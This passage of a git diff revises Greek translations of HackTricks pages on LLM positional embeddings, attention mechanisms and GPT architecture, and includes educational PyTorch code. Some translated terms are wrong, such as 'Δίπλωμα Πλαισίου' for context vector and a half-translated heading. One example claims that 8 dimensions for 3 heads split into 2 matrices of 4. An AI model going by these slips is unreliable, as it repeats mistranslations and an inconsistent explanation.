να δημιουργήσει προβλέψεις. ## **Θέσεις Αναπαραστάσεων: Προσθήκη Πλαισίου στις Αναπαραστάσεις Tokens** -Ενώ οι αναπαραστάσεις tokens συλλαμβάνουν τη σημασία των μεμονωμένων tokens, δεν κωδικοποιούν εγγενώς τη θέση των tokens μέσα σε μια σειρά. Η κατανόηση της σειράς των tokens είναι κρίσιμη για την κατανόηση της γλώσσας. Εδώ είναι που έρχονται οι **θέσεις αναπαραστάσεων**. +Ενώ οι αναπαραστάσεις tokens συλλαμβάνουν τη σημασία των μεμονωμένων tokens, δεν κωδικοποιούν εγγενώς τη θέση των tokens μέσα σε μια σειρά. Η κατανόηση της σειράς των tokens είναι κρίσιμη για την κατανόηση της γλώσσας. Εδώ είναι που εισέρχονται οι **θέσεις αναπαραστάσεων**. ### **Γιατί Χρειάζονται οι Θέσεις Αναπαραστάσεων:** @@ -133,7 +135,7 @@ cssCopy codeBatch ### **Τύποι Θέσεων Αναπαραστάσεων:** 1. **Απόλυτες Θέσεις Αναπαραστάσεων:** -- Αναθέτουν ένα μοναδικό διανυσματικό θέση σε κάθε θέση στη σειρά. +- Αναθέτουν έναν μοναδικό διανυσματικό χώρο θέσης σε κάθε θέση στη σειρά. - **Παράδειγμα:** Το πρώτο token σε οποιαδήποτε σειρά έχει την ίδια θέση αναπαράστασης, το δεύτερο token έχει άλλη, και ούτω καθεξής. - **Χρησιμοποιείται Από:** Τα μοντέλα GPT της OpenAI. 2. **Σχετικές Θέσεις Αναπαραστάσεων:** @@ -148,7 +150,7 @@ cssCopy codeBatch **Παράδειγμα Πρόσθεσης Θέσεων Αναπαραστάσεων:** -Ας υποθέσουμε ότι ένα διανυσματικό αναπαράστασης token είναι `[0.5, -0.2, 0.1]` και το διανυσματικό αναπαράστασης θέσης του είναι `[0.1, 0.3, -0.1]`. Η συνδυασμένη αναπαράσταση που χρησιμοποιεί το μοντέλο θα είναι: +Ας υποθέσουμε ότι ένα διανυσματικό χώρο αναπαράστασης token είναι `[0.5, -0.2, 0.1]` και το διανυσματικό χώρο θέσης του είναι `[0.1, 0.3, -0.1]`. Η συνδυασμένη αναπαράσταση που χρησιμοποιεί το μοντέλο θα είναι: ```css Combined Embedding = Token Embedding + Positional Embedding = [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)] @@ -156,12 +158,12 @@ Combined Embedding = Token Embedding + Positional Embedding ``` **Οφέλη των Θέσεων Ενσωματώσεων:** -- **Συνειδητοποίηση Πλαισίου:** Το μοντέλο μπορεί να διακρίνει μεταξύ των τοκεν με βάση τις θέσεις τους. +- **Συνειδητοποίηση Πλαισίου:** Το μοντέλο μπορεί να διακρίνει μεταξύ των tokens με βάση τις θέσεις τους. - **Κατανόηση Ακολουθίας:** Δίνει τη δυνατότητα στο μοντέλο να κατανοεί τη γραμματική, τη σύνταξη και τις σημασίες που εξαρτώνται από το πλαίσιο. ## Παράδειγμα Κώδικα -Ακολουθώντας το παράδειγμα κώδικα από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): +Ακολουθεί το παράδειγμα κώδικα από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): ```python # Use previous code... @@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256]) ## Αναφορές - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md index 78d4ce25f..35993911a 100644 --- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md +++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md @@ -1,28 +1,30 @@ # 4. Μηχανισμοί Προσοχής +{{#include /banners/hacktricks-training.md}} + ## Μηχανισμοί Προσοχής και Αυτοπροσοχή σε Νευρωνικά Δίκτυα -Οι μηχανισμοί προσοχής επιτρέπουν στα νευρωνικά δίκτυα να εστιάζουν σε συγκεκριμένα μέρη της εισόδου κατά την παραγωγή κάθε μέρους της εξόδου. Αναθέτουν διαφορετικά βάρη σε διαφορετικές εισόδους, βοηθώντας το μοντέλο να αποφασίσει ποιες είσοδοι είναι πιο σχετικές με την τρέχουσα εργασία. Αυτό είναι κρίσιμο σε εργασίες όπως η μηχανική μετάφραση, όπου η κατανόηση του πλαισίου ολόκληρης της πρότασης είναι απαραίτητη για ακριβή μετάφραση. +Οι μηχανισμοί προσοχής επιτρέπουν στα νευρωνικά δίκτυα να **εστιάζουν σε συγκεκριμένα μέρη της εισόδου κατά την παραγωγή κάθε μέρους της εξόδου**. Αναθέτουν διαφορετικά βάρη σε διαφορετικές εισόδους, βοηθώντας το μοντέλο να αποφασίσει ποιες είσοδοι είναι πιο σχετικές με την τρέχουσα εργασία. Αυτό είναι κρίσιμο σε εργασίες όπως η μηχανική μετάφραση, όπου η κατανόηση του πλαισίου ολόκληρης της πρότασης είναι απαραίτητη για ακριβή μετάφραση. > [!TIP] -> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε μερικούς μηχανισμούς προσοχής**. Αυτοί θα είναι πολλαπλά **επαναλαμβανόμενα επίπεδα** που θα **καταγράψουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\ +> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε μερικούς μηχανισμούς προσοχής**. Αυτοί θα είναι πολλαπλά **επανερχόμενα επίπεδα** που θα **καταγράψουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\ > Χρησιμοποιούνται πολλά επίπεδα γι' αυτό, οπότε πολλοί εκπαιδεύσιμοι παράμετροι θα καταγράφουν αυτές τις πληροφορίες. ### Κατανόηση Μηχανισμών Προσοχής -Σε παραδοσιακά μοντέλα ακολουθίας προς ακολουθία που χρησιμοποιούνται για τη μετάφραση γλώσσας, το μοντέλο κωδικοποιεί μια ακολουθία εισόδου σε ένα σταθερού μεγέθους διάνυσμα πλαισίου. Ωστόσο, αυτή η προσέγγιση δυσκολεύεται με μεγάλες προτάσεις επειδή το σταθερού μεγέθους διάνυσμα πλαισίου μπορεί να μην καταγράψει όλες τις απαραίτητες πληροφορίες. Οι μηχανισμοί προσοχής αντιμετωπίζουν αυτόν τον περιορισμό επιτρέποντας στο μοντέλο να εξετάσει όλα τα εισερχόμενα tokens κατά την παραγωγή κάθε εξόδου token. +Στα παραδοσιακά μοντέλα ακολουθίας προς ακολουθία που χρησιμοποιούνται για τη μετάφραση γλώσσας, το μοντέλο κωδικοποιεί μια ακολουθία εισόδου σε ένα σταθερού μεγέθους διάνυσμα πλαισίου. Ωστόσο, αυτή η προσέγγιση δυσκολεύεται με μεγάλες προτάσεις επειδή το σταθερού μεγέθους διάνυσμα πλαισίου μπορεί να μην καταγράψει όλες τις απαραίτητες πληροφορίες. Οι μηχανισμοί προσοχής αντιμετωπίζουν αυτόν τον περιορισμό επιτρέποντας στο μοντέλο να εξετάσει όλα τα εισαγωγικά tokens κατά την παραγωγή κάθε εξαγωγικού token. #### Παράδειγμα: Μηχανική Μετάφραση -Σκεφτείτε τη μετάφραση της γερμανικής πρότασης "Kannst du mir helfen diesen Satz zu übersetzen" στα αγγλικά. Μια λέξη προς λέξη μετάφραση δεν θα παρήγαγε μια γραμματικά σωστή αγγλική πρόταση λόγω διαφορών στις γραμματικές δομές μεταξύ των γλωσσών. Ένας μηχανισμός προσοχής επιτρέπει στο μοντέλο να εστιάζει σε σχετικές partes της εισερχόμενης πρότασης κατά την παραγωγή κάθε λέξης της εξόδου, οδηγώντας σε μια πιο ακριβή και συνεκτική μετάφραση. +Σκεφτείτε τη μετάφραση της γερμανικής πρότασης "Kannst du mir helfen diesen Satz zu übersetzen" στα αγγλικά. Μια λέξη προς λέξη μετάφραση δεν θα παραγάγει μια γραμματικά σωστή αγγλική πρόταση λόγω διαφορών στις γραμματικές δομές μεταξύ των γλωσσών. Ένας μηχανισμός προσοχής επιτρέπει στο μοντέλο να εστιάσει σε σχετικές περιοχές της εισαγωγικής πρότασης κατά την παραγωγή κάθε λέξης της εξαγωγικής πρότασης, οδηγώντας σε μια πιο ακριβή και συνεκτική μετάφραση. ### Εισαγωγή στην Αυτοπροσοχή -Η αυτοπροσοχή, ή ενδοπροσοχή, είναι ένας μηχανισμός όπου η προσοχή εφαρμόζεται εντός μιας μόνο ακολουθίας για να υπολογίσει μια αναπαράσταση αυτής της ακολουθίας. Επιτρέπει σε κάθε token στην ακολουθία να εστιάζει σε όλα τα άλλα tokens, βοηθώντας το μοντέλο να καταγράψει εξαρτήσεις μεταξύ των tokens ανεξαρτήτως της απόστασής τους στην ακολουθία. +Η αυτοπροσοχή, ή ενδοπροσοχή, είναι ένας μηχανισμός όπου η προσοχή εφαρμόζεται εντός μιας μόνο ακολουθίας για να υπολογιστεί μια αναπαράσταση αυτής της ακολουθίας. Επιτρέπει σε κάθε token στην ακολουθία να εστιάσει σε όλα τα άλλα tokens, βοηθώντας το μοντέλο να καταγράψει εξαρτήσεις μεταξύ των tokens ανεξαρτήτως της απόστασής τους στην ακολουθία. #### Κύριες Έννοιες -- **Tokens**: Ατομικά στοιχεία της εισερχόμενης ακολουθίας (π.χ., λέξεις σε μια πρόταση). +- **Tokens**: Ατομικά στοιχεία της εισαγωγικής ακολουθίας (π.χ., λέξεις σε μια πρόταση). - **Ενσωματώσεις**: Διανυσματικές αναπαραστάσεις των tokens, που καταγράφουν σημασιολογικές πληροφορίες. - **Βάρη Προσοχής**: Τιμές που καθορίζουν τη σημασία κάθε token σε σχέση με τα άλλα. @@ -39,7 +41,7 @@ #### Βήμα 1: Υπολογισμός Σκορ Προσοχής > [!TIP] -> Απλώς πολλαπλασιάστε κάθε τιμή διάστασης του query με την αντίστοιχη κάθε token και προσθέστε τα αποτελέσματα. Παίρνετε 1 τιμή ανά ζεύγος tokens. +> Απλά πολλαπλασιάστε κάθε τιμή διάστασης του query με την αντίστοιχη κάθε token και προσθέστε τα αποτελέσματα. Παίρνετε 1 τιμή ανά ζεύγος tokens. Για κάθε λέξη στην πρόταση, υπολογίστε το **σκορ προσοχής** σε σχέση με το "shiny" υπολογίζοντας το εσωτερικό γινόμενο των ενσωματώσεών τους. @@ -62,13 +64,13 @@ > > Επιπλέον, η συνάρτηση **softmax** χρησιμοποιείται επειδή τονίζει τις διαφορές λόγω του εκθετικού μέρους, διευκολύνοντας την ανίχνευση χρήσιμων τιμών. -Εφαρμόστε τη **συνάρτηση softmax** στα σκορ προσοχής για να τα μετατρέψετε σε βάρη προσοχής που αθροίζουν 1. +Εφαρμόστε τη **συνάρτηση softmax** στα σκορ προσοχής για να τα μετατρέψετε σε βάρη προσοχής που αθροίζουν σε 1.
Υπολογίζοντας τις εκθετικές: -
+
Υπολογίζοντας το άθροισμα: @@ -81,7 +83,7 @@ #### Βήμα 3: Υπολογισμός του Διάνυσματος Πλαισίου > [!TIP] -> Απλώς πάρτε κάθε βάρος προσοχής και πολλαπλασιάστε το με τις σχετικές διαστάσεις token και στη συνέχεια αθροίστε όλες τις διαστάσεις για να αποκτήσετε μόνο 1 διάνυσμα (το διάνυσμα πλαισίου) +> Απλά πάρτε κάθε βάρος προσοχής και πολλαπλασιάστε το με τις σχετικές διαστάσεις του token και στη συνέχεια αθροίστε όλες τις διαστάσεις για να πάρετε μόνο 1 διάνυσμα (το διάνυσμα πλαισίου) Το **διάνυσμα πλαισίου** υπολογίζεται ως το ζυγισμένο άθροισμα των ενσωματώσεων όλων των λέξεων, χρησιμοποιώντας τα βάρη προσοχής. @@ -110,7 +112,7 @@ ### Περίληψη της Διαδικασίας 1. **Υπολογίστε Σκορ Προσοχής**: Χρησιμοποιήστε το εσωτερικό γινόμενο μεταξύ της ενσωμάτωσης της στοχευμένης λέξης και των ενσωματώσεων όλων των λέξεων στην ακολουθία. -2. **Κανονικοποιήστε τα Σκορ για να Λάβετε Βάρη Προσοχής**: Εφαρμόστε τη συνάρτηση softmax στα σκορ προσοχής για να αποκτήσετε βάρη που αθροίζουν 1. +2. **Κανονικοποιήστε τα Σκορ για να Λάβετε Βάρη Προσοχής**: Εφαρμόστε τη συνάρτηση softmax στα σκορ προσοχής για να αποκτήσετε βάρη που αθροίζουν σε 1. 3. **Υπολογίστε το Δίπλωμα Πλαισίου**: Πολλαπλασιάστε την ενσωμάτωση κάθε λέξης με το βάρος προσοχής της και αθροίστε τα αποτελέσματα. ## Αυτοπροσοχή με Εκπαιδεύσιμα Βάρη @@ -153,28 +155,28 @@ queries = torch.matmul(inputs, W_query) keys = torch.matmul(inputs, W_key) values = torch.matmul(inputs, W_value) ``` -#### Βήμα 2: Υπολογισμός Κλιμακωτής Σκορ Διάνυσμα Προσοχής +#### Βήμα 2: Υπολογισμός Σ scaled Dot-Product Attention **Υπολογισμός Σκορ Προσοχής** -Παρόμοια με το προηγούμενο παράδειγμα, αλλά αυτή τη φορά, αντί να χρησιμοποιούμε τις τιμές των διαστάσεων των tokens, χρησιμοποιούμε τον πίνακα κλειδιών του token (που έχει υπολογιστεί ήδη χρησιμοποιώντας τις διαστάσεις):. Έτσι, για κάθε ερώτημα `qi`​ και κλειδί `kj​`: +Παρόμοια με το παράδειγμα από πριν, αλλά αυτή τη φορά, αντί να χρησιμοποιούμε τις τιμές των διαστάσεων των tokens, χρησιμοποιούμε τον πίνακα κλειδιών του token (που έχει υπολογιστεί ήδη χρησιμοποιώντας τις διαστάσεις):. Έτσι, για κάθε ερώτημα `qi`​ και κλειδί `kj​`:
-**Κλιμάκωση των Σκορ** +**Κλίμακα τα Σκορ** -Για να αποτρέψουμε τα εσωτερικά προϊόντα να γίνουν πολύ μεγάλα, τα κλιμακώνουμε με την τετραγωνική ρίζα της διάστασης κλειδιού `dk`​: +Για να αποτρέψουμε τα εσωτερικά γινόμενα να γίνουν πολύ μεγάλα, κλιμακώνουμε τα με τη ρίζα του διαστάσεων κλειδιού `dk`​:
> [!TIP] -> Το σκορ διαιρείται με την τετραγωνική ρίζα των διαστάσεων γιατί τα εσωτερικά προϊόντα μπορεί να γίνουν πολύ μεγάλα και αυτό βοηθά να τα ρυθμίσουμε. +> Το σκορ διαιρείται με τη ρίζα των διαστάσεων επειδή τα εσωτερικά γινόμενα μπορεί να γίνουν πολύ μεγάλα και αυτό βοηθά να ρυθμιστούν. **Εφαρμογή Softmax για Απόκτηση Βαρών Προσοχής:** Όπως στο αρχικό παράδειγμα, κανονικοποιούμε όλες τις τιμές ώστε να αθροίζουν 1.
-#### Βήμα 3: Υπολογισμός Δεικτών Πλαισίου +#### Βήμα 3: Υπολογισμός Συμφραζομένων Διανυσμάτων Όπως στο αρχικό παράδειγμα, απλώς αθροίζουμε όλους τους πίνακες τιμών πολλαπλασιάζοντας τον καθένα με το βάρος προσοχής του: @@ -224,13 +226,13 @@ print(sa_v2(inputs)) > [!TIP] > Σημειώστε ότι αντί να αρχικοποιήσουμε τους πίνακες με τυχαίες τιμές, χρησιμοποιείται το `nn.Linear` για να σημάνει όλα τα βάρη ως παραμέτρους προς εκπαίδευση. -## Αιτιώδης Προσοχή: Απόκρυψη Μελλοντικών Λέξεων +## Causal Attention: Απόκρυψη Μελλοντικών Λέξεων -Για τα LLMs θέλουμε το μοντέλο να εξετάσει μόνο τα tokens που εμφανίζονται πριν από την τρέχουσα θέση προκειμένου να **προβλέψει το επόμενο token**. Η **αιτιώδης προσοχή**, γνωστή επίσης ως **masked attention**, επιτυγχάνει αυτό τροποποιώντας τον μηχανισμό προσοχής για να αποτρέψει την πρόσβαση σε μελλοντικά tokens. +Για τα LLMs θέλουμε το μοντέλο να εξετάζει μόνο τα tokens που εμφανίζονται πριν από την τρέχουσα θέση προκειμένου να **προβλέψει το επόμενο token**. **Causal attention**, γνωστό και ως **masked attention**, επιτυγχάνει αυτό τροποποιώντας τον μηχανισμό προσοχής για να αποτρέψει την πρόσβαση σε μελλοντικά tokens. -### Εφαρμογή Μάσκας Αιτιώδους Προσοχής +### Εφαρμογή Μάσκας Causal Attention -Για να εφαρμόσουμε την αιτιώδη προσοχή, εφαρμόζουμε μια μάσκα στους βαθμούς προσοχής **πριν από τη λειτουργία softmax** ώστε οι υπόλοιποι να αθροίζουν 1. Αυτή η μάσκα ορίζει τους βαθμούς προσοχής των μελλοντικών tokens σε αρνητική άπειρο, διασφαλίζοντας ότι μετά το softmax, τα βάρη προσοχής τους είναι μηδέν. +Για να υλοποιήσουμε την causal attention, εφαρμόζουμε μια μάσκα στους βαθμούς προσοχής **πριν από τη λειτουργία softmax** ώστε οι υπόλοιποι να αθροίζουν 1. Αυτή η μάσκα ορίζει τους βαθμούς προσοχής των μελλοντικών tokens σε αρνητική άπειρο, διασφαλίζοντας ότι μετά το softmax, τα βάρη προσοχής τους είναι μηδέν. **Βήματα** @@ -242,13 +244,13 @@ mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf') masked_scores = attention_scores + mask ``` -3. **Εφαρμογή Softmax**: Υπολογίστε τα βάρη προσοχής χρησιμοποιώντας τους μασκαρισμένους βαθμούς. +3. **Εφαρμογή Softmax**: Υπολογίστε τα βάρη προσοχής χρησιμοποιώντας τους μάσκες βαθμούς. ```python attention_weights = torch.softmax(masked_scores, dim=-1) ``` -### Μάσκα πρόσθετων Βαρών Προσοχής με Dropout +### Μάσκα Επιπλέον Βαρών Προσοχής με Dropout Για να **αποτρέψουμε την υπερβολική προσαρμογή**, μπορούμε να εφαρμόσουμε **dropout** στα βάρη προσοχής μετά τη λειτουργία softmax. Το dropout **μηχανικά μηδενίζει κάποια από τα βάρη προσοχής** κατά τη διάρκεια της εκπαίδευσης. ```python @@ -327,7 +329,7 @@ print("context_vecs.shape:", context_vecs.shape) ### Παράδειγμα Κώδικα -Θα μπορούσε να είναι δυνατό να επαναχρησιμοποιηθεί ο προηγούμενος κώδικας και απλώς να προστεθεί μια περιτύλιξη που τον εκκινεί πολλές φορές, αλλά αυτή είναι μια πιο βελτιστοποιημένη έκδοση από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) που επεξεργάζεται όλες τις κεφαλές ταυτόχρονα (μειώνοντας τον αριθμό των δαπανηρών βρόχων). Όπως μπορείτε να δείτε στον κώδικα, οι διαστάσεις κάθε token διαιρούνται σε διαφορετικές διαστάσεις ανάλογα με τον αριθμό των κεφαλών. Με αυτόν τον τρόπο, αν το token έχει 8 διαστάσεις και θέλουμε να χρησιμοποιήσουμε 3 κεφαλές, οι διαστάσεις θα διαιρεθούν σε 2 πίνακες των 4 διαστάσεων και κάθε κεφαλή θα χρησιμοποιήσει έναν από αυτούς: +Θα μπορούσε να είναι δυνατό να επαναχρησιμοποιηθεί ο προηγούμενος κώδικας και απλώς να προστεθεί μια περιτύλιξη που τον εκκινεί πολλές φορές, αλλά αυτή είναι μια πιο βελτιστοποιημένη έκδοση από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) που επεξεργάζεται όλες τις κεφαλές ταυτόχρονα (μειώνοντας τον αριθμό των δαπανηρών βρόχων for). Όπως μπορείτε να δείτε στον κώδικα, οι διαστάσεις κάθε token διαιρούνται σε διαφορετικές διαστάσεις ανάλογα με τον αριθμό των κεφαλών. Με αυτόν τον τρόπο, αν το token έχει 8 διαστάσεις και θέλουμε να χρησιμοποιήσουμε 3 κεφαλές, οι διαστάσεις θα διαιρεθούν σε 2 πίνακες των 4 διαστάσεων και κάθε κεφαλή θα χρησιμοποιήσει έναν από αυτούς: ```python class MultiHeadAttention(nn.Module): def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): @@ -404,13 +406,16 @@ print(context_vecs) print("context_vecs.shape:", context_vecs.shape) ``` -Για μια άλλη συμπαγή και αποδοτική υλοποίηση, μπορείτε να χρησιμοποιήσετε την [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) κλάση στο PyTorch. +Για μια άλλη συμπαγή και αποδοτική υλοποίηση, μπορείτε να χρησιμοποιήσετε την κλάση [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) στο PyTorch. > [!TIP] -> Σύντομη απάντηση του ChatGPT σχετικά με το γιατί είναι καλύτερο να διαιρείτε τις διαστάσεις των tokens μεταξύ των heads αντί να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις όλων των tokens: +> Σύντομη απάντηση του ChatGPT σχετικά με το γιατί είναι καλύτερο να διαιρούμε τις διαστάσεις των tokens μεταξύ των heads αντί να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις όλων των tokens: > -> Ενώ η δυνατότητα κάθε head να επεξεργάζεται όλες τις διαστάσεις embedding μπορεί να φαίνεται πλεονεκτική επειδή κάθε head θα έχει πρόσβαση σε όλες τις πληροφορίες, η τυπική πρακτική είναι να **διαιρείτε τις διαστάσεις embedding μεταξύ των heads**. Αυτή η προσέγγιση ισορροπεί την υπολογιστική αποδοτικότητα με την απόδοση του μοντέλου και ενθαρρύνει κάθε head να μάθει ποικιλόμορφες αναπαραστάσεις. Επομένως, η διαίρεση των διαστάσεων embedding προτιμάται γενικά από το να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις. +> Ενώ η δυνατότητα κάθε head να επεξεργάζεται όλες τις διαστάσεις embedding μπορεί να φαίνεται πλεονεκτική επειδή κάθε head θα έχει πρόσβαση σε όλες τις πληροφορίες, η τυπική πρακτική είναι να **διαιρούμε τις διαστάσεις embedding μεταξύ των heads**. Αυτή η προσέγγιση ισορροπεί την υπολογιστική αποδοτικότητα με την απόδοση του μοντέλου και ενθαρρύνει κάθε head να μάθει ποικιλόμορφες αναπαραστάσεις. Επομένως, η διαίρεση των διαστάσεων embedding προτιμάται γενικά από το να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις. ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md index 064e50460..ebe3d0bd2 100644 --- a/src/AI/AI-llm-architecture/5.-llm-architecture.md +++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md @@ -1,5 +1,7 @@ # 5. LLM Architecture +{{#include /banners/hacktricks-training.md}} + ## LLM Architecture > [!TIP] @@ -19,7 +21,7 @@ A high level representation can be observed in: - **Masked Multi-Head Attention**: Επιτρέπει στο μοντέλο να εστιάζει σε διάφορα μέρη του εισερχόμενου κειμένου ταυτόχρονα. - **Layer Normalization**: Ένα βήμα κανονικοποίησης για τη σταθεροποίηση και τη βελτίωση της εκπαίδευσης. - **Feed Forward Layer**: Υπεύθυνο για την επεξεργασία των πληροφοριών από το επίπεδο προσοχής και την πρόβλεψη του επόμενου token. -- **Dropout Layers**: Αυτά τα επίπεδα αποτρέπουν την υπερβολική προσαρμογή (overfitting) ρίχνοντας τυχαία μονάδες κατά τη διάρκεια της εκπαίδευσης. +- **Dropout Layers**: Αυτά τα επίπεδα αποτρέπουν την υπερβολική προσαρμογή (overfitting) απορρίπτοντας τυχαία μονάδες κατά τη διάρκεια της εκπαίδευσης. 4. **Final Output Layer**: Το μοντέλο εξάγει έναν **4x50,257-διάστατο tensor**, όπου **50,257** αντιπροσωπεύει το μέγεθος του λεξιλογίου. Κάθε γραμμή σε αυτόν τον tensor αντιστοιχεί σε ένα διάνυσμα που το μοντέλο χρησιμοποιεί για να προβλέψει την επόμενη λέξη στην ακολουθία. 5. **Goal**: Ο στόχος είναι να ληφθούν αυτές οι αναπαραστάσεις και να μετατραπούν ξανά σε κείμενο. Συγκεκριμένα, η τελευταία γραμμή της εξόδου χρησιμοποιείται για να παραγάγει την επόμενη λέξη, που αναπαρίσταται ως "forward" σε αυτό το διάγραμμα. @@ -195,7 +197,7 @@ print("Input batch:\n", batch) print("\nOutput shape:", out.shape) print(out) ``` -### **Συνάρτηση Ενεργοποίησης GELU** +### **GELU Λειτουργία Ενεργοποίησης** ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 class GELU(nn.Module): @@ -261,19 +263,19 @@ return x # Output shape: (batch_size, seq_len, emb_dim) - **Πολυκεφαλική Αυτοπροσοχή:** Επιτρέπει στο μοντέλο να εστιάζει σε διαφορετικές θέσεις μέσα στην είσοδο όταν κωδικοποιεί ένα token. - **Βασικά Στοιχεία:** - **Ερωτήσεις, Κλειδιά, Τιμές:** Γραμμικές προβολές της εισόδου, που χρησιμοποιούνται για τον υπολογισμό των σκορ προσοχής. -- **Κεφαλές:** Πολλαπλοί μηχανισμοί προσοχής που εκτελούνται παράλληλα (`num_heads`), καθένας με μειωμένη διάσταση (`head_dim`). +- **Κεφάλια:** Πολλαπλοί μηχανισμοί προσοχής που εκτελούνται παράλληλα (`num_heads`), καθένας με μειωμένη διάσταση (`head_dim`). - **Σκορ Προσοχής:** Υπολογίζονται ως το εσωτερικό γινόμενο των ερωτήσεων και των κλειδιών, κλιμακωμένα και μάσκες. -- **Μάσκα:** Μια αιτιολογική μάσκα εφαρμόζεται για να αποτρέψει το μοντέλο από το να εστιάζει σε μελλοντικά tokens (σημαντικό για αυτοπαραγωγικά μοντέλα όπως το GPT). -- **Βάρη Προσοχής:** Softmax των μάσκων και κλιμακωμένων σκορ προσοχής. +- **Μάσκα:** Μια αιτιώδης μάσκα εφαρμόζεται για να αποτρέψει το μοντέλο από το να εστιάζει σε μελλοντικά tokens (σημαντικό για αυτοπαραγωγικά μοντέλα όπως το GPT). +- **Βάρη Προσοχής:** Softmax των μάσκας και κλιμακωμένων σκορ προσοχής. - **Διάνυσμα Πλαισίου:** Ζυγισμένο άθροισμα των τιμών, σύμφωνα με τα βάρη προσοχής. -- **Προβολή Εξόδου:** Γραμμικό επίπεδο για να συνδυάσει τις εξόδους όλων των κεφαλών. +- **Προβολή Εξόδου:** Γραμμικό επίπεδο για να συνδυάσει τις εξόδους όλων των κεφαλιών. > [!TIP] -> Ο στόχος αυτού του δικτύου είναι να βρει τις σχέσεις μεταξύ των tokens στο ίδιο πλαίσιο. Επιπλέον, τα tokens χωρίζονται σε διαφορετικές κεφαλές προκειμένου να αποτραπεί η υπερβολική προσαρμογή, αν και οι τελικές σχέσεις που βρίσκονται ανά κεφαλή συνδυάζονται στο τέλος αυτού του δικτύου. +> Ο στόχος αυτού του δικτύου είναι να βρει τις σχέσεις μεταξύ των tokens στο ίδιο πλαίσιο. Επιπλέον, τα tokens χωρίζονται σε διαφορετικά κεφάλια προκειμένου να αποτραπεί η υπερβολική προσαρμογή, αν και οι τελικές σχέσεις που βρίσκονται ανά κεφάλι συνδυάζονται στο τέλος αυτού του δικτύου. > -> Επιπλέον, κατά την εκπαίδευση εφαρμόζεται μια **αιτιολογική μάσκα** ώστε τα μελλοντικά tokens να μην λαμβάνονται υπόψη κατά την αναζήτηση συγκεκριμένων σχέσεων με ένα token και εφαρμόζεται επίσης κάποια **dropout** για να **αποτραπεί η υπερβολική προσαρμογή**. +> Επιπλέον, κατά την εκπαίδευση εφαρμόζεται μια **αιτιώδης μάσκα** ώστε τα μετέπειτα tokens να μην λαμβάνονται υπόψη κατά την αναζήτηση συγκεκριμένων σχέσεων με ένα token και εφαρμόζεται επίσης κάποια **dropout** για να **αποτραπεί η υπερβολική προσαρμογή**. -### **Κανονικοποίηση** Επίπεδου +### **Κανονικοποίηση** Layer ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 class LayerNorm(nn.Module): @@ -294,7 +296,7 @@ return self.scale * norm_x + self.shift - **Layer Normalization:** Μια τεχνική που χρησιμοποιείται για να κανονικοποιήσει τις εισόδους σε όλη τη διάρκεια των χαρακτηριστικών (διαστάσεις embedding) για κάθε μεμονωμένο παράδειγμα σε μια παρτίδα. - **Συστατικά:** - **`eps`:** Ένας μικρός σταθερός αριθμός (`1e-5`) που προστίθεται στη διακύμανση για να αποτραπεί η διαίρεση με το μηδέν κατά τη διάρκεια της κανονικοποίησης. -- **`scale` και `shift`:** Μαθητές παράμετροι (`nn.Parameter`) που επιτρέπουν στο μοντέλο να κλιμακώνει και να μετατοπίζει την κανονικοποιημένη έξοδο. Αρχικοποιούνται σε μονάδες και μηδενικά, αντίστοιχα. +- **`scale` και `shift`:** Μαθητές παράμετροι (`nn.Parameter`) που επιτρέπουν στο μοντέλο να κλιμακώνει και να μετατοπίζει την κανονικοποιημένη έξοδο. Αρχικοποιούνται σε ένα και μηδέν, αντίστοιχα. - **Διαδικασία Κανονικοποίησης:** - **Υπολογισμός Μέσου (`mean`):** Υπολογίζει τον μέσο όρο της εισόδου `x` σε όλη τη διάρκεια της διάστασης embedding (`dim=-1`), διατηρώντας τη διάσταση για broadcasting (`keepdim=True`). - **Υπολογισμός Διακύμανσης (`var`):** Υπολογίζει τη διακύμανση του `x` σε όλη τη διάρκεια της διάστασης embedding, διατηρώντας επίσης τη διάσταση. Η παράμετρος `unbiased=False` 